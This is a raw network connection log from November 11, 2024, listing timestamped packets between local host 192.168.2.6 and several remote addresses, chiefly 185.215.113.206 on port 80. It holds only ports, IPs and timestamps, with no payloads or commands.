Nov 11, 2024 12:40:29.727256060 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.727271080 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.727293968 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.727382898 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.727396011 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.727407932 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.727421045 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.727437019 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.727440119 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.727452993 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.727477074 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.727503061 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.727905989 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.727917910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.727930069 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.727946043 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.727962971 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728049994 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728061914 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728072882 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728085041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728096962 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728100061 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728108883 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728111982 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728121996 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728135109 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728146076 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728151083 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728158951 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728173018 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728183985 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728188992 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728197098 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728200912 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728220940 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728247881 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728280067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728293896 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728319883 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728332996 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728426933 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728472948 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728493929 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728506088 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728517056 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728528023 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728528023 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728542089 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728544950 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728557110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728575945 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728579998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728593111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728601933 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728602886 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728614092 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728616953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728630066 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728640079 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728652000 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728656054 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728662014 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728671074 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728698969 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728888035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728902102 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728912115 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728935957 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728956938 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.728961945 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.728972912 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729007959 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729038000 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729154110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729170084 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729182005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729193926 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729212999 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729218006 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729229927 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729239941 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729240894 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729252100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729263067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729264021 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729275942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729286909 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729291916 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729299068 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729301929 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729311943 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729324102 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729331017 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729336977 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729357958 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729377031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729377985 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729377985 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729388952 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729401112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729409933 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729410887 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729418039 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729424000 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729437113 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729443073 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729455948 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729456902 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729469061 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729470968 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729482889 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729494095 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729516029 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729526997 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729537964 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729551077 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729562044 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729564905 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729578018 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729588985 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729593992 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729600906 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729612112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729623079 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729634047 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729645014 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729655981 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729661942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729696035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729696035 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729696035 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729696035 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729696035 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729705095 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729712009 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729717970 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729728937 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729739904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729747057 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729753017 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729758978 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729765892 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729777098 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729789972 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729799032 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729810953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729818106 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729827881 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729840040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729846001 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729849100 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729851961 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729859114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729865074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729876041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729882002 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729893923 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729901075 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729906082 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729919910 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729923964 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729937077 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729948044 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729953051 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729959011 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729964972 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.729970932 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.729970932 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.730010986 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.730151892 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.730189085 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.730232000 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.730243921 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.730257034 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.730266094 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.730268002 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.730281115 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.730283022 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.730297089 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.730300903 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.730328083 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.730340004 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.730343103 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.730351925 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.730364084 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.730370998 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.730376005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.730389118 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.730398893 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.730401039 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.730412006 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.730423927 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.730424881 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.730436087 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.730444908 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.730469942 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.731432915 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.731481075 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.731511116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.731523037 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.731534004 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.731544971 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.731556892 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.731556892 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.731566906 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.731601954 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.731601954 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.734211922 CET	49905	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.734219074 CET	443	49905	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.734596014 CET	443	49905	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.734919071 CET	49916	443	192.168.2.6	23.33.40.146
Nov 11, 2024 12:40:29.734934092 CET	443	49916	23.33.40.146	192.168.2.6
Nov 11, 2024 12:40:29.738375902 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738389015 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738399982 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738419056 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738423109 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.738430977 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738435984 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.738439083 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.738442898 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738456964 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738461971 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738464117 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.738471985 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738485098 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738486052 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.738495111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738497019 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.738507986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738522053 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.738533020 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738532066 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.738542080 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.738544941 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.738545895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738555908 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.738559961 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738567114 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.738573074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738588095 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738610029 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.738610983 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.738647938 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.738684893 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738702059 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738713980 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738729000 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738737106 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.738740921 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738754034 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738765955 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738768101 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.738779068 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738790035 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.738791943 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738806009 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738833904 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.738852978 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738861084 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.738919973 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.738934040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738945007 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738955975 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738970995 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738982916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.738985062 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.738996029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739018917 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.739027977 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.739043951 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739056110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739067078 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739077091 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739084005 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.739089966 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739101887 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.739130020 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.739229918 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739243031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739253998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739267111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739279032 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739284992 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.739295959 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.739296913 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739310026 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739322901 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.739329100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739341021 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739347935 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.739469051 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.739705086 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739792109 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.739803076 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739813089 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739824057 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739835978 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739837885 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.739847898 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739850044 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.739861965 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739872932 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739881039 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.739885092 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739900112 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.739916086 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.739924908 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.739952087 CET	49905	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.739952087 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.739964008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740009069 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.740048885 CET	443	49905	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.740098953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740111113 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740120888 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740134954 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740145922 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740147114 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.740154028 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.740159035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740163088 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.740170002 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.740170956 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740187883 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740187883 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.740192890 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.740199089 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740201950 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.740211010 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.740211964 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740211964 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.740226984 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.740231037 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740237951 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.740247965 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740258932 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740263939 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.740267038 CET	49898	443	192.168.2.6	104.117.182.56
